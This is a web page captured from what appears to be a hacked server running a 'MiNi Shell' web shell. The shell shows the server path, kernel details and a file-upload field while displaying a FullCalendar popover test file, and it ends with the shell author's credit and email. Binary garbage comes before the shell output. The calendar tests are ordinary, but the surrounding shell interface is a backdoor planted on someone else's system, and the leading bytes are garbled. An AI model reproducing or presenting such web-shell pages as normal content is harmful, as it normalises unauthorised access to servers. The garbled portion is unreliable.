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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/vendor/bower-asset/fullcalendar/tests/automated/legacy/eventLimit-popover.js

describe('eventLimit popover', function() {

  var testEvents = [
    { title: 'event1', start: '2014-07-28', end: '2014-07-30', className: 'event1' },
    { title: 'event2', start: '2014-07-29', end: '2014-07-31', className: 'event2' },
    { title: 'event3', start: '2014-07-29', className: 'event3' },
    { title: 'event4', start: '2014-07-29', className: 'event4' }
  ]

  pushOptions({
    defaultView: 'month',
    defaultDate: '2014-08-01',
    eventLimit: 3,
    events: testEvents,
    dragScroll: false, // don't do autoscrolling while dragging. close quarters in PhantomJS
    popoverViewportConstrain: false, // because PhantomJS window is small, don't do smart repositioning
    handleWindowResize: false // because showing the popover causes scrollbars and fires resize
  })

  function init() {
    $('.fc-more').simulate('click')
  }

  describeOptions('defaultView', {
    'when in month view': 'month',
    'when in basicWeek view': 'basicWeek',
    'when in agendaWeek view': 'agendaWeek'
  }, function() {

    it('aligns horizontally with left edge of cell if LTR', function() {
      initCalendar({
        isRTL: false
      })
      init()
      var cellLeft = $('.fc-day-grid .fc-row:eq(0) .fc-bg td:not(.fc-axis):eq(2)').offset().left
      var popoverLeft = $('.fc-more-popover').offset().left
      var diff = Math.abs(cellLeft - popoverLeft)
      expect(diff).toBeLessThan(2)
    })

    it('aligns horizontally with left edge of cell if RTL', function() {
      initCalendar({
        isRTL: true
      })
      init()
      var cell = $('.fc-day-grid .fc-row:eq(0) .fc-bg td:not(.fc-axis):eq(4)')
      var cellRight = cell.offset().left + cell.outerWidth()
      var popover = $('.fc-more-popover')
      var popoverRight = popover.offset().left + popover.outerWidth()
      var diff = Math.abs(cellRight - popoverRight)
      expect(diff).toBeLessThan(2)
    })
  })

  describe('when in month view', function() {

    pushOptions({
      defaultView: 'month'
    })

    it('aligns with top of cell', function() {
      initCalendar()
      init()
      var popoverTop = $('.fc-more-popover').offset().top
      var rowTop = $('.fc-day-grid .fc-row:eq(0)').offset().top
      var diff = Math.abs(popoverTop - rowTop)
      expect(diff).toBeLessThan(2)
    })

    it('works with background events', function() {
      testEvents.push({
        start: '2014-07-29',
        rendering: 'background'
      })
      initCalendar({
        events: testEvents
      })
      init()
      expect($('.fc-more-popover .fc-event').length).toBeGreaterThan(1)
      expect($('.fc-more-popover .fc-bgevent').length).toBe(0)
    })

    it('works with events that have invalid end times', function() {
      initCalendar({
        events: [
          { title: 'event1', start: '2014-07-29', end: '2014-07-29' },
          { title: 'event2', start: '2014-07-29', end: '2014-07-28' },
          { title: 'event3', start: '2014-07-29T00:00:00', end: '2014-07-29T00:00:00' },
          { title: 'event4', start: '2014-07-29T00:00:00', end: '2014-07-28T23:00:00' }
        ]
      })
      init()
      expect($('.fc-more-popover .fc-event').length).toBe(4)
    })

    // issue 2385
    it('orders events correctly regardless of ID', function() {
      initCalendar({
        defaultDate: '2012-03-22',
        eventLimit: 3,
        events: [
          {
            id: '39957',
            title: 'event01',
            start: '2012-03-22T11:00:00',
            end: '2012-03-22T11:30:00',
            allDay: false
          },
          {
            id: '40607',
            title: 'event02',
            start: '2012-03-22T16:15:00',
            end: '2012-03-22T16:30:00',
            allDay: false
          },
          {
            id: '40760',
            title: 'event03',
            start: '2012-03-22T16:00:00',
            end: '2012-03-22T16:15:00',
            allDay: false
          },
          {
            id: '41284',
            title: 'event04',
            start: '2012-03-22T19:00:00',
            end: '2012-03-22T19:15:00',
            allDay: false
          },
          {
            id: '41645',
            title: 'event05',
            start: '2012-03-22T11:30:00',
            end: '2012-03-22T12:00:00',
            allDay: false
          },
          {
            id: '41679',
            title: 'event07',
            start: '2012-03-22T12:00:00',
            end: '2012-03-22T12:15:00',
            allDay: false
          },
          {
            id: '42246',
            title: 'event08',
            start: '2012-03-22T16:45:00',
            end: '2012-03-22T17:00:00',
            allDay: false
          }
        ]
      })
      init()

      var titles = $('.fc-more-popover .fc-event .fc-title').map(function() {
        return $(this).text()
      }).get()

      expect(titles).toEqual([
        'event01', 'event05', 'event07', 'event03', 'event02', 'event08', 'event04'
      ])
    })

    // https://github.com/fullcalendar/fullcalendar/issues/3856
    it('displays multi-day events only once', function() {
      initCalendar({
        defaultDate: '2017-10-04',
        events: [
          {
            title: 'Long event',
            className: 'long-event',
            start: '2017-10-03',
            end: '2017-10-20'
          },
          {
            title: 'Meeting',
            className: 'meeting-event',
            start: '2017-10-04T10:00:00',
            end: '2017-10-04T12:00:00'
          },
          {
            title: 'Lunch 1',
            className: 'lunch1-event',
            start: '2017-10-04T12:00:00'
          },
          {
            title: 'Lunch 2',
            className: 'lunch2-event',
            start: '2017-10-04T14:00:00'
          }
        ]
      })
      init()

      expect($('.fc-popover .fc-event').length).toBe(4)

      var longEventEl = $('.fc-popover .long-event')
      expect(longEventEl.length).toBe(1)
      expect(longEventEl).toHaveClass('fc-not-start')
      expect(longEventEl).toHaveClass('fc-not-end')
      expect(longEventEl).not.toHaveClass('fc-start')
      expect(longEventEl).not.toHaveClass('fc-end');

      [
        $('.fc-popover .meeting-event'),
        $('.fc-popover .lunch1-event'),
        $('.fc-popover .lunch2-event')
      ].forEach(function(el) {
        expect(el.length).toBe(1)
        expect(el).toHaveClass('fc-start')
        expect(el).toHaveClass('fc-end')
        expect(el).not.toHaveClass('fc-not-start')
        expect(el).not.toHaveClass('fc-not-end')
      })
    })
  })

  describeOptions('defaultView', {
    'when in basicWeek view': 'basicWeek',
    'when in agendaWeek view': 'agendaWeek'
  }, function() {
    it('aligns with top of header', function() {
      initCalendar()
      init()
      var popoverTop = $('.fc-more-popover').offset().top
      var headTop = $('.fc-view > table > thead .fc-row').offset().top
      var diff = Math.abs(popoverTop - headTop)
      expect(diff).toBeLessThan(2)
    })
  })

  // TODO: somehow test how the popover does to the edge of any scroll container

  it('closes when user clicks the X', function() {
    initCalendar()
    init()
    expect($('.fc-more-popover')).toBeVisible()
    $('.fc-more-popover .fc-close').simulate('click')
    expect($('.fc-more-popover')).not.toBeVisible()
  })

  it('doesn\'t close when user clicks somewhere inside of the popover', function() {
    initCalendar()
    init()
    expect($('.fc-more-popover')).toBeVisible()
    expect($('.fc-more-popover .fc-header')).toBeInDOM()
    $('.fc-more-popover .fc-header').simulate('mousedown').simulate('click')
    expect($('.fc-more-popover')).toBeVisible()
  })

  it('closes when user clicks outside of the popover', function() {
    initCalendar()
    init()
    expect($('.fc-more-popover')).toBeVisible()
    $('body').simulate('mousedown').simulate('click')
    expect($('.fc-more-popover')).not.toBeVisible()
  })

  it('has the correct event contents', function() {
    initCalendar()
    init()
    expect($('.fc-more-popover .event1')).toBeMatchedBy('.fc-not-start.fc-end')
    expect($('.fc-more-popover .event2')).toBeMatchedBy('.fc-start.fc-not-end')
    expect($('.fc-more-popover .event3')).toBeMatchedBy('.fc-start.fc-end')
    expect($('.fc-more-popover .event4')).toBeMatchedBy('.fc-start.fc-end')
  })

  pushOptions({
    editable: true
  })

  describe('when dragging events out', function() {

    describe('when dragging an all-day event to a different day', function() {

      it('should have the new day and remain all-day', function(done) {

        initCalendar({
          eventDrop: function(event) {
            expect(event.start).toEqualMoment('2014-07-28')
            expect(event.allDay).toBe(true)
            done()
          }
        })

        init()

        setTimeout(function() { // simulate was getting confused about which thing was being clicked :(
          $('.fc-more-popover .event4').simulate('drag', {
            end: $('.fc-day-grid .fc-row:eq(0) .fc-bg td:not(.fc-axis):eq(1)') // one day before
          })
        }, 0)
      })
    })

    describe('when dragging a timed event to a whole day', function() {

      it('should move to new day but maintain its time', function(done) {

        testEvents.push({ // add timed event
          title: 'event5',
          start: '2014-07-29T13:00:00',
          className: 'event5'
        })

        initCalendar({
          events: testEvents,
          eventDrop: function(event) {
            expect(event.start).toEqualMoment('2014-07-28T13:00:00')
            expect(event.allDay).toBe(false)
            done()
          }
        })

        init()

        setTimeout(function() { // simulate was getting confused about which thing was being clicked :(
          $('.fc-more-popover .event5').simulate('drag', {
            end: $('.fc-day-grid .fc-row:eq(0) .fc-bg td:not(.fc-axis):eq(1)') // one day before
          })
        }, 0)
      })
    })

    describe('when dragging a whole day event to a timed slot', function() {

      it('should assume the new time, with a cleared end', function(done) {

        initCalendar({
          defaultView: 'agendaWeek',
          scrollTime: '00:00:00',
          eventDrop: function(event) {
            expect(event.start).toEqualMoment('2014-07-30T03:00:00')
            expect(event.allDay).toBe(false)
            done()
          }
        })

        init()

        setTimeout(function() { // simulate was getting confused about which thing was being clicked :(
          $('.fc-more-popover .event4').simulate('drag', {
            localPoint: {
              left: '0%', // leftmost is guaranteed to be over the 30th
              top: '50%'
            },
            end: $('.fc-slats tr:eq(6)') // the middle will be 7/30, 3:00am
          })
        }, 0)
      })
    })

    describe('when a single-day event isn\'t dragged out all the way', function() {

      it('shouldn\'t do anything', function(done) {

        initCalendar({
          eventDragStop: function() {
            setTimeout(function() { // try to wait until drag is over. eventDrop won't fire BTW
              expect($('.fc-more-popover')).toBeInDOM()
              done()
            }, 0)
          }
        })

        init()

        setTimeout(function() { // simulate was getting confused about which thing was being clicked :(
          $('.fc-more-popover .event1 .fc-title').simulate('drag', {
            dx: 20
          })
        }, 0)
      })
    })

  })

  it('calls event render handlers', function() {
    var options = {
      events: [
        { title: 'event1', start: '2014-07-28', end: '2014-07-30', className: 'event1' },
        { title: 'event2', start: '2014-07-29', end: '2014-07-31', className: 'event2' },
        { title: 'event3', start: '2014-07-29', className: 'event3' },
        { title: 'event4', start: '2014-07-29', className: 'event4' }
      ],
      eventRender: function() {},
      eventAfterRender: function() {},
      eventAfterAllRender: function() {},
      eventDestroy: function() {}
    }

    spyOn(options, 'eventRender')
    spyOn(options, 'eventAfterRender')
    spyOn(options, 'eventAfterAllRender')
    spyOn(options, 'eventDestroy')

    initCalendar(options)

    expect(options.eventRender.calls.count()).toBe(4)
    expect(options.eventAfterRender.calls.count()).toBe(4)
    expect(options.eventAfterAllRender.calls.count()).toBe(1)
    expect(options.eventDestroy.calls.count()).toBe(0)

    $('.fc-more').simulate('click')

    expect(options.eventRender.calls.count()).toBe(8) // +4
    expect(options.eventAfterRender.calls.count()).toBe(8) // +4
    expect(options.eventAfterAllRender.calls.count()).toBe(1) // stays same!
    expect(options.eventDestroy.calls.count()).toBe(0)

    $('.fc-more-popover .fc-close').simulate('click')

    expect(options.eventRender.calls.count()).toBe(8)
    expect(options.eventAfterRender.calls.count()).toBe(8)
    expect(options.eventAfterAllRender.calls.count()).toBe(1)
    expect(options.eventDestroy.calls.count()).toBe(4) // +4
  })

})

Creat By MiNi SheLL
Email: jattceo@gmail.com